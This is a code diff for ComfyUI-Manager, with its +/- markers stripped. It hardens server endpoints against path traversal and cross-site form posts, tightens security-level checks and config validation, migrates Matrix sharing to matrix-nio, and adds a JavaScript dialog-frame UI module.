res = core.unified_manager.unified_update(node_name, node_ver)
if res.ver == "unknown":
# unknown_active_nodes[node_id] = (url, fullpath) — url can be
# None when git_utils.git_url() in manager_core can't determine
# the remote URL. Downstream branches at L901/904 already
# handle url is None, so we just need a None-safe title.
# Harmonized with legacy/manager_server.py equivalent (WI #252).
url = core.unified_manager.unknown_active_nodes[node_name][0]
try:
title = os.path.basename(url)
except Exception:
title = node_name
title = os.path.basename(url) if url else node_name
else:
url = core.unified_manager.cnr_map[node_name].get("repository")
title = core.unified_manager.cnr_map[node_name]["name"]
@@ -967,6 +951,8 @@ async def task_worker():
logging.error("ComfyUI update failed")
return "fail"
elif res == "updated":
core.install_manager_requirements(repo_path)
if is_stable:
logging.info("ComfyUI is updated to latest stable version.")
return "success-stable-" + latest_tag
@@ -983,8 +969,12 @@ async def task_worker():
return "An error occurred while updating 'comfyui'."
async def do_fix(params: FixPackParams) -> str:
if not security_utils.is_allowed_security_level('middle'):
logging.error(SECURITY_MESSAGE_MIDDLE)
# Align check with SECURITY_MESSAGE_HIGH_P (which names "high+"); the
# previous 'high' gate allowed the operation while logging a message
# that implied a stricter requirement — confusing and slightly too lax
# for a state-mutating fix path. Legacy/do_fix was updated to match.
if not security_utils.is_allowed_security_level('high+'):
logging.error(SECURITY_MESSAGE_HIGH_P)
return OperationResult.failed.value
node_name = params.node_name
@@ -1012,7 +1002,7 @@ async def task_worker():
return OperationResult.failed.value
node_name = params.node_name
is_unknown = params.is_unknown
is_unknown = getattr(params, 'is_unknown', False) # guard: pydantic Union may match UpdatePackParams
logging.debug(
"[ComfyUI-Manager] Uninstalling node: name=%s, is_unknown=%s",
@@ -1036,15 +1026,16 @@ async def task_worker():
async def do_disable(params: DisablePackParams) -> str:
node_name = params.node_name
is_unknown = getattr(params, 'is_unknown', False) # guard: pydantic Union may match UpdatePackParams
logging.debug(
"[ComfyUI-Manager] Disabling node: name=%s, is_unknown=%s",
node_name,
params.is_unknown,
is_unknown,
)
try:
res = core.unified_manager.unified_disable(node_name, params.is_unknown)
res = core.unified_manager.unified_disable(node_name, is_unknown)
if res:
return OperationResult.success.value
@@ -1311,11 +1302,17 @@ async def get_history(request):
try:
# Handle file-based batch history
if "id" in request.rel_url.query:
json_name = request.rel_url.query["id"] + ".json"
batch_path = os.path.join(context.manager_batch_history_path, json_name)
history_id = request.rel_url.query["id"]
# Prevent path traversal attacks
batch_path = security_utils.get_safe_file_path(history_id, context.manager_batch_history_path)
if batch_path is None:
logging.warning(f"[Security] Invalid history id rejected: {history_id}")
return web.Response(text="Invalid history id", status=400)
logging.debug(
"[ComfyUI-Manager] Fetching batch history: id=%s",
request.rel_url.query["id"],
history_id,
)
with open(batch_path, "r", encoding="utf-8") as file:
@@ -1356,6 +1353,19 @@ async def get_history(request):
}
history = filtered_history
# Serialize TaskHistoryItem pydantic models to dicts for JSON output.
# aiohttp's json_response uses json.dumps which cannot serialize BaseModel
# instances; convert via model_dump(mode='json') to handle datetime fields.
def _to_serializable(obj):
if hasattr(obj, "model_dump"):
return obj.model_dump(mode="json")
return obj
if isinstance(history, dict):
history = {k: _to_serializable(v) for k, v in history.items()}
else:
history = _to_serializable(history)
return web.json_response({"history": history}, content_type="application/json")
except Exception as e:
@@ -1418,8 +1428,11 @@ async def fetch_updates(request):
)
@routes.get("/v2/manager/queue/update_all")
@routes.post("/v2/manager/queue/update_all")
async def update_all(request: web.Request) -> web.Response:
rejection = security_utils.reject_simple_form_post(request)
if rejection is not None:
return rejection
try:
# Validate query parameters using Pydantic model
query_params = UpdateAllQueryParams.model_validate(dict(request.rel_url.query))
@@ -1528,8 +1541,11 @@ async def get_snapshot_list(request):
return web.json_response({"items": items}, content_type="application/json")
@routes.get("/v2/snapshot/remove")
@routes.post("/v2/snapshot/remove")
async def remove_snapshot(request):
rejection = security_utils.reject_simple_form_post(request)
if rejection is not None:
return rejection
if not security_utils.is_allowed_security_level("middle"):
logging.error(SECURITY_MESSAGE_MIDDLE)
return web.Response(status=403)
@@ -1537,7 +1553,11 @@ async def remove_snapshot(request):
try:
target = request.rel_url.query["target"]
path = os.path.join(context.manager_snapshot_path, f"{target}.json")
path = security_utils.get_safe_file_path(target, context.manager_snapshot_path)
if path is None:
logging.warning(f"[Security] Invalid snapshot target rejected: {target}")
return web.Response(text="Invalid target", status=400)
if os.path.exists(path):
os.remove(path)
@@ -1546,8 +1566,11 @@ async def remove_snapshot(request):
return web.Response(status=400)
@routes.get("/v2/snapshot/restore")
@routes.post("/v2/snapshot/restore")
async def restore_snapshot(request):
rejection = security_utils.reject_simple_form_post(request)
if rejection is not None:
return rejection
if not security_utils.is_allowed_security_level("middle+"):
logging.error(SECURITY_MESSAGE_MIDDLE_P)
return web.Response(status=403)
@@ -1555,7 +1578,11 @@ async def restore_snapshot(request):
try:
target = request.rel_url.query["target"]
path = os.path.join(context.manager_snapshot_path, f"{target}.json")
path = security_utils.get_safe_file_path(target, context.manager_snapshot_path)
if path is None:
logging.warning(f"[Security] Invalid snapshot target rejected: {target}")
return web.Response(text="Invalid target", status=400)
if os.path.exists(path):
if not os.path.exists(context.manager_startup_script_path):
os.makedirs(context.manager_startup_script_path)
@@ -1584,8 +1611,11 @@ async def get_current_snapshot_api(request):
return web.Response(status=400)
@routes.get("/v2/snapshot/save")
@routes.post("/v2/snapshot/save")
async def save_snapshot(request):
rejection = security_utils.reject_simple_form_post(request)
if rejection is not None:
return rejection
try:
await core.save_snapshot_with_postfix("snapshot")
return web.Response(status=200)
@@ -1593,46 +1623,6 @@ async def save_snapshot(request):
return web.Response(status=400)
@routes.get("/v2/snapshot/diff")
async def get_snapshot_diff(request):
try:
from_id = request.rel_url.query.get("from")
to_id = request.rel_url.query.get("to")
if (from_id is not None and '..' in from_id) or (to_id is not None and '..' in to_id):
logging.error("/v2/snapshot/diff: invalid 'from' or 'to' parameter.")
return web.Response(status=400)
if from_id is None:
from_json = await core.get_current_snapshot()
else:
from_path = os.path.join(context.manager_snapshot_path, f"{from_id}.json")
if not os.path.exists(from_path):
logging.error(f"/v2/snapshot/diff: 'from' parameter file not found: {from_path}")
return web.Response(status=400)
from_json = snapshot_util.read_snapshot(from_path)
if to_id is None:
logging.error("/v2/snapshot/diff: 'to' parameter is required.")
return web.Response(status=401)
else:
to_path = os.path.join(context.manager_snapshot_path, f"{to_id}.json")
if not os.path.exists(to_path):
logging.error(f"/v2/snapshot/diff: 'to' parameter file not found: {to_path}")
return web.Response(status=400)
to_json = snapshot_util.read_snapshot(to_path)
return web.json_response(snapshot_util.diff_snapshot(from_json, to_json), content_type='application/json')
except Exception as e:
logging.error(f"[ComfyUI-Manager] Error in /v2/snapshot/diff: {e}")
traceback.print_exc()
# Return a generic error response
return web.Response(status=400)
def unzip_install(files):
temp_filename = "manager-temp.zip"
for url in files:
@@ -1696,8 +1686,72 @@ async def import_fail_info(request):
return web.Response(status=500, text="Internal server error")
@routes.get("/v2/manager/queue/reset")
@routes.post("/v2/customnode/import_fail_info_bulk")
async def import_fail_info_bulk(request):
try:
json_data = await request.json()
# Validate input using Pydantic model
request_data = ImportFailInfoBulkRequest.model_validate(json_data)
# Ensure we have either cnr_ids or urls
if not request_data.cnr_ids and not request_data.urls:
return web.Response(
status=400, text="Either 'cnr_ids' or 'urls' field is required"
)
await core.unified_manager.reload('cache')
await core.unified_manager.get_custom_nodes('default', 'cache')
results = {}
if request_data.cnr_ids:
for cnr_id in request_data.cnr_ids:
module_name = core.unified_manager.get_module_name(cnr_id)
if module_name is not None:
info = cm_global.error_dict.get(module_name)
if info is not None:
# Convert error_dict format to API spec format
results[cnr_id] = {
'error': info.get('msg', ''),
'traceback': info.get('traceback', '')
}
else:
results[cnr_id] = None
else:
results[cnr_id] = None
if request_data.urls:
for url in request_data.urls:
module_name = core.unified_manager.get_module_name(url)
if module_name is not None:
info = cm_global.error_dict.get(module_name)
if info is not None:
# Convert error_dict format to API spec format
results[url] = {
'error': info.get('msg', ''),
'traceback': info.get('traceback', '')
}
else:
results[url] = None
else:
results[url] = None
# Return results directly as JSON
return web.json_response(results, content_type="application/json")
except ValidationError as e:
logging.error(f"[ComfyUI-Manager] Invalid request data: {e}")
return web.Response(status=400, text=f"Invalid request data: {e}")
except Exception as e:
logging.error(f"[ComfyUI-Manager] Error processing bulk import fail info: {e}")
return web.Response(status=500, text="Internal server error")
@routes.post("/v2/manager/queue/reset")
async def reset_queue(request):
rejection = security_utils.reject_simple_form_post(request)
if rejection is not None:
return rejection
logging.debug("[ComfyUI-Manager] Queue reset requested")
task_queue.wipe_queue()
return web.Response(status=200)
@@ -1756,8 +1810,11 @@ async def queue_count(request):
)
@routes.get("/v2/manager/queue/start")
@routes.post("/v2/manager/queue/start")
async def queue_start(request):
rejection = security_utils.reject_simple_form_post(request)
if rejection is not None:
return rejection
logging.debug("[ComfyUI-Manager] Queue start requested")
started = task_queue.start_worker()
@@ -1769,9 +1826,12 @@ async def queue_start(request):
return web.Response(status=201) # Already in-progress
@routes.get("/v2/manager/queue/update_comfyui")
@routes.post("/v2/manager/queue/update_comfyui")
async def update_comfyui(request):
"""Queue a ComfyUI update based on the configured update policy."""
rejection = security_utils.reject_simple_form_post(request)
if rejection is not None:
return rejection
try:
# Validate query parameters using Pydantic model
query_params = UpdateComfyUIQueryParams.model_validate(
@@ -1818,17 +1878,26 @@ async def comfyui_versions(request):
return web.Response(status=400)
@routes.get("/v2/comfyui_manager/comfyui_switch_version")
@routes.post("/v2/comfyui_manager/comfyui_switch_version")
async def comfyui_switch_version(request):
try:
# Validate query parameters using Pydantic model
query_params = ComfyUISwitchVersionQueryParams.model_validate(
dict(request.rel_url.query)
)
# Body-reading handler — Content-Type gate omitted per
# comfyui_manager/common/manager_security.py module policy: a cross-origin
# <form method=POST> cannot forge a valid application/json body because
# the browser would trigger a CORS preflight that this server refuses.
if not security_utils.is_allowed_security_level("high+"):
logging.error(SECURITY_MESSAGE_HIGH_P)
return web.Response(status=403)
target_version = query_params.ver
client_id = query_params.client_id
ui_id = query_params.ui_id
try:
# Parse and validate JSON body (previously read from query string).
# ComfyUISwitchVersionParams is reused — the field set is
# identical for body and query; only the transport changed.
json_data = await request.json()
params = ComfyUISwitchVersionParams.model_validate(json_data)
target_version = params.ver
client_id = params.client_id
ui_id = params.ui_id
# Create update-comfyui task with target version
task = QueueTaskItem(
@@ -1840,6 +1909,8 @@ async def comfyui_switch_version(request):
task_queue.put(task)
return web.Response(status=200)
except json.JSONDecodeError:
return web.Response(status=400, text="Invalid JSON body")
except ValidationError as e:
return web.json_response(
{"error": "Validation error", "details": e.errors()}, status=400
@@ -1883,51 +1954,97 @@ async def install_model(request):
@routes.get("/v2/manager/db_mode")
async def db_mode(request):
if "value" in request.rel_url.query:
environment_utils.set_db_mode(request.rel_url.query["value"])
core.write_config()
else:
return web.Response(text=core.get_config()["db_mode"], status=200)
return web.Response(text=core.get_config()["db_mode"], status=200)
return web.Response(status=200)
@routes.post("/v2/manager/db_mode")
async def set_db_mode_api(request):
# Config writes are at the same risk tier as uninstall/update — apply the
# 'middle' gate consistent with snapshot/remove, etc. Content-Type gate is
# NOT applied here: this handler consumes application/json and a
# cross-origin <form method=POST> cannot forge that without triggering
# CORS preflight (see module docstring in common/manager_security.py).
if not security_utils.is_allowed_security_level("middle"):
logging.error(SECURITY_MESSAGE_MIDDLE)
return web.Response(status=403)
try:
data = await request.json()
environment_utils.set_db_mode(data["value"])
core.write_config()
return web.Response(status=200)
except (json.JSONDecodeError, KeyError):
return web.Response(status=400, text="Invalid request")
except ValueError as e:
return web.Response(status=400, text=str(e))
@routes.get("/v2/manager/policy/update")
async def update_policy(request):
if "value" in request.rel_url.query:
environment_utils.set_update_policy(request.rel_url.query["value"])
core.write_config()
else:
return web.Response(text=core.get_config()["update_policy"], status=200)
return web.Response(text=core.get_config()["update_policy"], status=200)
return web.Response(status=200)
@routes.post("/v2/manager/policy/update")
async def set_update_policy_api(request):
# See set_db_mode_api above for gate rationale.
if not security_utils.is_allowed_security_level("middle"):
logging.error(SECURITY_MESSAGE_MIDDLE)
return web.Response(status=403)
try:
data = await request.json()
environment_utils.set_update_policy(data["value"])
core.write_config()
return web.Response(status=200)
except (json.JSONDecodeError, KeyError):
return web.Response(status=400, text="Invalid request")
except ValueError as e:
return web.Response(status=400, text=str(e))
@routes.get("/v2/manager/channel_url_list")
async def channel_url_list(request):
channels = core.get_channel_dict()
if "value" in request.rel_url.query:
channel_url = channels.get(request.rel_url.query["value"])
if channel_url is not None:
core.get_config()["channel_url"] = channel_url
core.write_config()
else:
selected = "custom"
selected_url = core.get_config()["channel_url"]
selected = "custom"
selected_url = core.get_config()["channel_url"]
for name, url in channels.items():
if url == selected_url:
selected = name
break
for name, url in channels.items():
if url == selected_url:
selected = name
break
res = {"selected": selected, "list": core.get_channel_list()}
return web.json_response(res, status=200)
return web.Response(status=200)
res = {"selected": selected, "list": core.get_channel_list()}
return web.json_response(res, status=200)
@routes.get("/v2/manager/reboot")
def restart(self):
@routes.post("/v2/manager/channel_url_list")
async def set_channel_url(request):
# See set_db_mode_api above for gate rationale.
if not security_utils.is_allowed_security_level("middle"):
logging.error(SECURITY_MESSAGE_MIDDLE)
return web.Response(status=403)
try:
data = await request.json()
channels = core.get_channel_dict()
channel_url = channels.get(data["value"])
if channel_url is None:
# Reject unknown channel name explicitly instead of silent no-op.
# Parity with set_db_mode / set_update_policy whitelist enforcement.
return web.Response(
status=400,
text=f"Invalid channel name {data['value']!r}; "
f"must be one of {sorted(channels.keys())}",
)
core.get_config()["channel_url"] = channel_url
core.write_config()
return web.Response(status=200)
except (json.JSONDecodeError, KeyError):
return web.Response(status=400, text="Invalid request")
@routes.post("/v2/manager/reboot")
def restart(request):
rejection = security_utils.reject_simple_form_post(request)
if rejection is not None:
return rejection
if not security_utils.is_allowed_security_level("middle"):
logging.error(SECURITY_MESSAGE_MIDDLE)
return web.Response(status=403)
@@ -2023,10 +2140,7 @@ async def default_cache_update():
)
traceback.print_exc()
if (
core.get_config()["network_mode"] != "offline"
and not manager_util.is_manager_pip_package()
):
if core.get_config()["network_mode"] != "offline":
a = get_cache("custom-node-list.json")
b = get_cache("extension-node-map.json")
c = get_cache("model-list.json")
+83 -18
View File
@@ -11,6 +11,15 @@ import hashlib
import folder_paths
from server import PromptServer
import logging
import sys
try:
from nio import AsyncClient, LoginResponse, UploadResponse
matrix_nio_is_available = True
except Exception:
logging.warning(f"[ComfyUI-Manager] The matrix sharing feature has been disabled because the `matrix-nio` dependency is not installed.\n\tTo use this feature, please run the following command:\n\t{sys.executable} -m pip install matrix-nio\n")
matrix_nio_is_available = False
def extract_model_file_names(json_data):
@@ -193,6 +202,14 @@ async def get_esheep_workflow_and_images(request):
return web.Response(status=200, text=json.dumps(data))
@PromptServer.instance.routes.get("/v2/manager/get_matrix_dep_status")
async def get_matrix_dep_status(request):
if matrix_nio_is_available:
return web.Response(status=200, text='available')
else:
return web.Response(status=200, text='unavailable')
def set_matrix_auth(json_data):
homeserver = json_data['homeserver']
username = json_data['username']
@@ -332,15 +349,12 @@ async def share_art(request):
workflowId = upload_workflow_json["workflowId"]
# check if the user has provided Matrix credentials
if "matrix" in share_destinations:
if matrix_nio_is_available and "matrix" in share_destinations:
comfyui_share_room_id = '!LGYSoacpJPhIfBqVfb:matrix.org'
filename = os.path.basename(asset_filepath)
content_type = assetFileType
try:
from matrix_client.api import MatrixHttpApi
from matrix_client.client import MatrixClient
homeserver = 'matrix.org'
if matrix_auth:
homeserver = matrix_auth.get('homeserver', 'matrix.org')
@@ -348,20 +362,35 @@ async def share_art(request):
if not homeserver.startswith("https://"):
homeserver = "https://" + homeserver
client = MatrixClient(homeserver)
try:
token = client.login(username=matrix_auth['username'], password=matrix_auth['password'])
if not token:
return web.json_response({"error": "Invalid Matrix credentials."}, content_type='application/json', status=400)
except Exception:
client = AsyncClient(homeserver, matrix_auth['username'])
# Login
login_resp = await client.login(matrix_auth['password'])
if not isinstance(login_resp, LoginResponse) or not login_resp.access_token:
await client.close()
return web.json_response({"error": "Invalid Matrix credentials."}, content_type='application/json', status=400)
matrix = MatrixHttpApi(homeserver, token=token)
# Upload asset
with open(asset_filepath, 'rb') as f:
mxc_url = matrix.media_upload(f.read(), content_type, filename=filename)['content_uri']
upload_resp, _maybe_keys = await client.upload(f, content_type=content_type, filename=filename)
asset_data = f.seek(0) or f.read() # get size for info below
if not isinstance(upload_resp, UploadResponse) or not upload_resp.content_uri:
await client.close()
return web.json_response({"error": "Failed to upload asset to Matrix."}, content_type='application/json', status=500)
mxc_url = upload_resp.content_uri
workflow_json_mxc_url = matrix.media_upload(prompt['workflow'], 'application/json', filename='workflow.json')['content_uri']
# Upload workflow JSON
import io
workflow_json_bytes = json.dumps(prompt['workflow']).encode('utf-8')
workflow_io = io.BytesIO(workflow_json_bytes)
upload_workflow_resp, _maybe_keys = await client.upload(workflow_io, content_type='application/json', filename='workflow.json')
workflow_io.seek(0)
if not isinstance(upload_workflow_resp, UploadResponse) or not upload_workflow_resp.content_uri:
await client.close()
return web.json_response({"error": "Failed to upload workflow to Matrix."}, content_type='application/json', status=500)
workflow_json_mxc_url = upload_workflow_resp.content_uri
# Send text message
text_content = ""
if title:
text_content += f"{title}\n"
@@ -369,11 +398,47 @@ async def share_art(request):
text_content += f"{description}\n"
if credits:
text_content += f"\ncredits: {credits}\n"
matrix.send_message(comfyui_share_room_id, text_content)
matrix.send_content(comfyui_share_room_id, mxc_url, filename, 'm.image')
matrix.send_content(comfyui_share_room_id, workflow_json_mxc_url, 'workflow.json', 'm.file')
except Exception:
logging.exception("An error occurred")
await client.room_send(
room_id=comfyui_share_room_id,
message_type="m.room.message",
content={"msgtype": "m.text", "body": text_content}
)
# Send image
await client.room_send(
room_id=comfyui_share_room_id,
message_type="m.room.message",
content={
"msgtype": "m.image",
"body": filename,
"url": mxc_url,
"info": {
"mimetype": content_type,
"size": len(asset_data)
}
}
)
# Send workflow JSON file
await client.room_send(
room_id=comfyui_share_room_id,
message_type="m.room.message",
content={
"msgtype": "m.file",
"body": "workflow.json",
"url": workflow_json_mxc_url,
"info": {
"mimetype": "application/json",
"size": len(workflow_json_bytes)
}
}
)
await client.close()
except:
import traceback
traceback.print_exc()
return web.json_response({"error": "An error occurred when sharing your art to Matrix."}, content_type='application/json', status=500)
return web.json_response({
+20 -24
View File
@@ -1,12 +1,10 @@
import os
import git
from comfyui_manager.common.git_compat import open_repo, setup_git_environment
import logging
import traceback
from comfyui_manager.common import context
import folder_paths
from comfy.cli_args import args
import latent_preview
from comfyui_manager.glob import manager_core as core
from comfyui_manager.common import cm_global
@@ -22,17 +20,17 @@ def print_comfyui_version():
is_detached = False
try:
repo = git.Repo(os.path.dirname(folder_paths.__file__))
core.comfy_ui_revision = len(list(repo.iter_commits("HEAD")))
with open_repo(os.path.dirname(folder_paths.__file__)) as repo:
core.comfy_ui_revision = repo.iter_commits_count()
comfy_ui_hash = repo.head.commit.hexsha
cm_global.variables["comfyui.revision"] = core.comfy_ui_revision
comfy_ui_hash = repo.head_commit_hexsha
cm_global.variables["comfyui.revision"] = core.comfy_ui_revision
core.comfy_ui_commit_datetime = repo.head.commit.committed_datetime
cm_global.variables["comfyui.commit_datetime"] = core.comfy_ui_commit_datetime
core.comfy_ui_commit_datetime = repo.head_commit_datetime
cm_global.variables["comfyui.commit_datetime"] = core.comfy_ui_commit_datetime
is_detached = repo.head.is_detached
current_branch = repo.active_branch.name
is_detached = repo.head_is_detached
current_branch = repo.active_branch_name
comfyui_tag = context.get_comfyui_tag()
@@ -93,24 +91,23 @@ def print_comfyui_version():
)
def set_preview_method(method):
if method == "auto":
args.preview_method = latent_preview.LatentPreviewMethod.Auto
elif method == "latent2rgb":
args.preview_method = latent_preview.LatentPreviewMethod.Latent2RGB
elif method == "taesd":
args.preview_method = latent_preview.LatentPreviewMethod.TAESD
else:
args.preview_method = latent_preview.LatentPreviewMethod.NoPreviews
core.get_config()["preview_method"] = method
ALLOWED_UPDATE_POLICIES = ("stable", "stable-comfyui", "nightly", "nightly-comfyui")
ALLOWED_DB_MODES = ("cache", "channel", "local", "remote")
def set_update_policy(mode):
if mode not in ALLOWED_UPDATE_POLICIES:
raise ValueError(
f"Invalid update_policy {mode!r}; must be one of {ALLOWED_UPDATE_POLICIES}"
)
core.get_config()["update_policy"] = mode
def set_db_mode(mode):
if mode not in ALLOWED_DB_MODES:
raise ValueError(
f"Invalid db_mode {mode!r}; must be one of {ALLOWED_DB_MODES}"
)
core.get_config()["db_mode"] = mode
@@ -118,7 +115,7 @@ def setup_environment():
git_exe = core.get_config()["git_exe"]
if git_exe != "":
git.Git().update_environment(GIT_PYTHON_GIT_EXECUTABLE=git_exe)
setup_git_environment(git_exe)
def initialize_environment():
@@ -135,7 +132,6 @@ def initialize_environment():
# manager_util.comfyui_manager_path, "extension-node-map.json"
# )
set_preview_method(core.get_config()["preview_method"])
print_comfyui_version()
setup_environment()
+15 -7
View File
@@ -1,14 +1,22 @@
from comfyui_manager.glob import manager_core as core
from comfy.cli_args import args
from comfyui_manager.data_models import SecurityLevel, RiskLevel, ManagerDatabaseSource
from comfyui_manager.common.manager_security import (
is_loopback,
is_safe_path_target,
get_safe_file_path,
reject_simple_form_post,
)
def is_loopback(address):
import ipaddress
try:
return ipaddress.ip_address(address).is_loopback
except ValueError:
return False
# Re-export for backward compatibility
__all__ = [
'is_loopback',
'is_safe_path_target',
'get_safe_file_path',
'reject_simple_form_post',
'is_allowed_security_level',
'get_risky_level',
]
def is_allowed_security_level(level):
+2 -2
View File
@@ -13,7 +13,7 @@ This directory contains the JavaScript frontend implementation for ComfyUI-Manag
## Sharing Components
- **comfyui-share-common.js**: Base functionality for workflow sharing features.
- **comfyui-share-copus.js**: Integration with the ComfyUI Opus sharing platform.
- **comfyui-share-copus.js**: Integration with the ComfyUI Copus sharing platform.
- **comfyui-share-openart.js**: Integration with the OpenArt sharing platform.
- **comfyui-share-youml.js**: Integration with the YouML sharing platform.
@@ -47,4 +47,4 @@ CSS files are included for specific components:
- **custom-nodes-manager.css**: Styling for the node management UI
- **model-manager.css**: Styling for the model management UI
This frontend implementation provides a comprehensive yet user-friendly interface for managing the ComfyUI ecosystem.
This frontend implementation provides a comprehensive yet user-friendly interface for managing the ComfyUI ecosystem.
+1 -1
View File
@@ -52,7 +52,7 @@ async function tryInstallCustomNode(event) {
}
}
let response = await api.fetchApi("/v2/manager/reboot");
let response = await api.fetchApi("/v2/manager/reboot", { method: 'POST' });
if(response.status == 403) {
show_message('This action is not allowed with this security level configuration.');
return false;
+227
View File
@@ -0,0 +1,227 @@
import { $el } from "../../scripts/ui.js";
function normalizeContent(content) {
const tmp = document.createElement('div');
if (typeof content === 'string') {
tmp.innerHTML = content;
return Array.from(tmp.childNodes);
}
if (content instanceof Node) {
return content;
}
return content;
}
export function createSettingsCombo(label, content) {
const settingItem = $el("div.setting-item", {}, [
$el("div.flex.flex-row.items-center.gap-2",[
$el("div.form-label.flex.grow.items-center", [
$el("span.text-muted", { textContent: label },)
]),
$el("div.form-input.flex.justify-end",
[content]
)
]
)
]);
return settingItem;
}
export function buildGuiFrame(dialogId, title, iconClass, content, owner) {
const dialog_mask = $el("div.p-dialog-mask.p-overlay-mask.p-overlay-mask-enter", {
parent: document.body,
style: {
position: "fixed",
height: "100%",
width: "100%",
left: "0px",
top: "0px",
display: "flex",
justifyContent: "center",
alignItems: "center",
pointerEvents: "auto",
zIndex: "1000"
},
onclick: (e) => {
if (e.target === dialog_mask) {
owner.close();
}
}
// data-pc-section="mask"
});
const header_actions = $el("div.p-dialog-header-actions", {
// [TODO]
// data-pc-section="headeractions"
}
);
const close_button = $el("button.p-button.p-component.p-button-icon-only.p-button-secondary.p-button-rounded.p-button-text.p-dialog-close-button", {
parent: header_actions,
type: "button",
ariaLabel: "Close",
onclick: () => owner.close(),
// "data-pc-name": "pcclosebutton",
// "data-p-disabled": "false",
// "data-p-severity": "secondary",
// "data-pc-group-section": "headericon",
// "data-pc-extend": "button",
// "data-pc-section": "root",
// [FIXME] Not sure how to do most of the SVG using $el
innerHTML: '<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg" class="p-icon p-button-icon" aria-hidden="true"><path d="M8.01186 7.00933L12.27 2.75116C12.341 2.68501 12.398 2.60524 12.4375 2.51661C12.4769 2.42798 12.4982 2.3323 12.4999 2.23529C12.5016 2.13827 12.4838 2.0419 12.4474 1.95194C12.4111 1.86197 12.357 1.78024 12.2884 1.71163C12.2198 1.64302 12.138 1.58893 12.0481 1.55259C11.9581 1.51625 11.8617 1.4984 11.7647 1.50011C11.6677 1.50182 11.572 1.52306 11.4834 1.56255C11.3948 1.60204 11.315 1.65898 11.2488 1.72997L6.99067 5.98814L2.7325 1.72997C2.59553 1.60234 2.41437 1.53286 2.22718 1.53616C2.03999 1.53946 1.8614 1.61529 1.72901 1.74767C1.59663 1.88006 1.5208 2.05865 1.5175 2.24584C1.5142 2.43303 1.58368 2.61419 1.71131 2.75116L5.96948 7.00933L1.71131 11.2675C1.576 11.403 1.5 11.5866 1.5 11.7781C1.5 11.9696 1.576 12.1532 1.71131 12.2887C1.84679 12.424 2.03043 12.5 2.2219 12.5C2.41338 12.5 2.59702 12.424 2.7325 12.2887L6.99067 8.03052L11.2488 12.2887C11.3843 12.424 11.568 12.5 11.7594 12.5C11.9509 12.5 12.1346 12.424 12.27 12.2887C12.4053 12.1532 12.4813 11.9696 12.4813 11.7781C12.4813 11.5866 12.4053 11.403 12.27 11.2675L8.01186 7.00933Z" fill="currentColor"></path></svg><span class="p-button-label" data-pc-section="label">&nbsp;</span><!---->'
}
);
const dialog_header = $el("div.p-dialog-header",
[
$el("div", [
$el("div",
{
id: "frame-title-container",
},
[
$el("h2.px-4", [
$el(iconClass, {
style: {
"font-size": "1.25rem",
"margin-right": ".5rem"
}
}),
$el("span", { textContent: title })
])
]
)
]),
header_actions
]
);
const contentFrame = $el("div.p-dialog-content", {}, normalizeContent(content));
const manager_dialog = $el("div.p-dialog.p-component.global-dialog", {
id: dialogId,
parent: dialog_mask,
style: {
'display': 'flex',
'flex-direction': 'column',
'pointer-events': 'auto',
'margin': '0px',
},
role: 'dialog',
ariaModal: 'true',
// [TODO]
// ariaLabbelledby: 'cm-title',
// maximized: 'false',
// data-pc-name: 'dialog',
// data-pc-section: 'root',
// data-pd-focustrap: 'true'
},
[ dialog_header, contentFrame ]
);
const hidden_accessible = $el("span.p-hidden-accessible.p-hidden-focusable", {
parent: manager_dialog,
tabindex: "0",
role: "presentation",
ariaHidden: "true",
"data-p-hidden-accessible": "true",
"data-p-hidden-focusable": "true",
"data-pc-section": "firstfocusableelement"
});
return dialog_mask;
}
export function buildGuiFrameCustomHeader(dialogId, customHeader, content, owner) {
const dialog_mask = $el("div.p-dialog-mask.p-overlay-mask.p-overlay-mask-enter", {
parent: document.body,
style: {
position: "fixed",
height: "100%",
width: "100%",
left: "0px",
top: "0px",
display: "flex",
justifyContent: "center",
alignItems: "center",
pointerEvents: "auto",
zIndex: "1000"
},
onclick: (e) => {
if (e.target === dialog_mask) {
owner.close();
}
}
// data-pc-section="mask"
});
const header_actions = $el("div.p-dialog-header-actions", {
// [TODO]
// data-pc-section="headeractions"
}
);
const close_button = $el("button.p-button.p-component.p-button-icon-only.p-button-secondary.p-button-rounded.p-button-text.p-dialog-close-button", {
parent: header_actions,
type: "button",
ariaLabel: "Close",
onclick: () => owner.close(),
// "data-pc-name": "pcclosebutton",
// "data-p-disabled": "false",
// "data-p-severity": "secondary",
// "data-pc-group-section": "headericon",
// "data-pc-extend": "button",
// "data-pc-section": "root",
// [FIXME] Not sure how to do most of the SVG using $el
innerHTML: '<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg" class="p-icon p-button-icon" aria-hidden="true"><path d="M8.01186 7.00933L12.27 2.75116C12.341 2.68501 12.398 2.60524 12.4375 2.51661C12.4769 2.42798 12.4982 2.3323 12.4999 2.23529C12.5016 2.13827 12.4838 2.0419 12.4474 1.95194C12.4111 1.86197 12.357 1.78024 12.2884 1.71163C12.2198 1.64302 12.138 1.58893 12.0481 1.55259C11.9581 1.51625 11.8617 1.4984 11.7647 1.50011C11.6677 1.50182 11.572 1.52306 11.4834 1.56255C11.3948 1.60204 11.315 1.65898 11.2488 1.72997L6.99067 5.98814L2.7325 1.72997C2.59553 1.60234 2.41437 1.53286 2.22718 1.53616C2.03999 1.53946 1.8614 1.61529 1.72901 1.74767C1.59663 1.88006 1.5208 2.05865 1.5175 2.24584C1.5142 2.43303 1.58368 2.61419 1.71131 2.75116L5.96948 7.00933L1.71131 11.2675C1.576 11.403 1.5 11.5866 1.5 11.7781C1.5 11.9696 1.576 12.1532 1.71131 12.2887C1.84679 12.424 2.03043 12.5 2.2219 12.5C2.41338 12.5 2.59702 12.424 2.7325 12.2887L6.99067 8.03052L11.2488 12.2887C11.3843 12.424 11.568 12.5 11.7594 12.5C11.9509 12.5 12.1346 12.424 12.27 12.2887C12.4053 12.1532 12.4813 11.9696 12.4813 11.7781C12.4813 11.5866 12.4053 11.403 12.27 11.2675L8.01186 7.00933Z" fill="currentColor"></path></svg><span class="p-button-label" data-pc-section="label">&nbsp;</span><!---->'
}
);
const _customHeader = normalizeContent(customHeader);
const dialog_header = $el("div.p-dialog-header",
[
$el("div", [
$el("div",
{
id: "frame-title-container",
},
Array.isArray(_customHeader) ? _customHeader : [_customHeader]
)
]),
header_actions
]
);
const contentFrame = $el("div.p-dialog-content", {}, normalizeContent(content));
const manager_dialog = $el("div.p-dialog.p-component.global-dialog", {
id: dialogId,
parent: dialog_mask,
style: {
'display': 'flex',
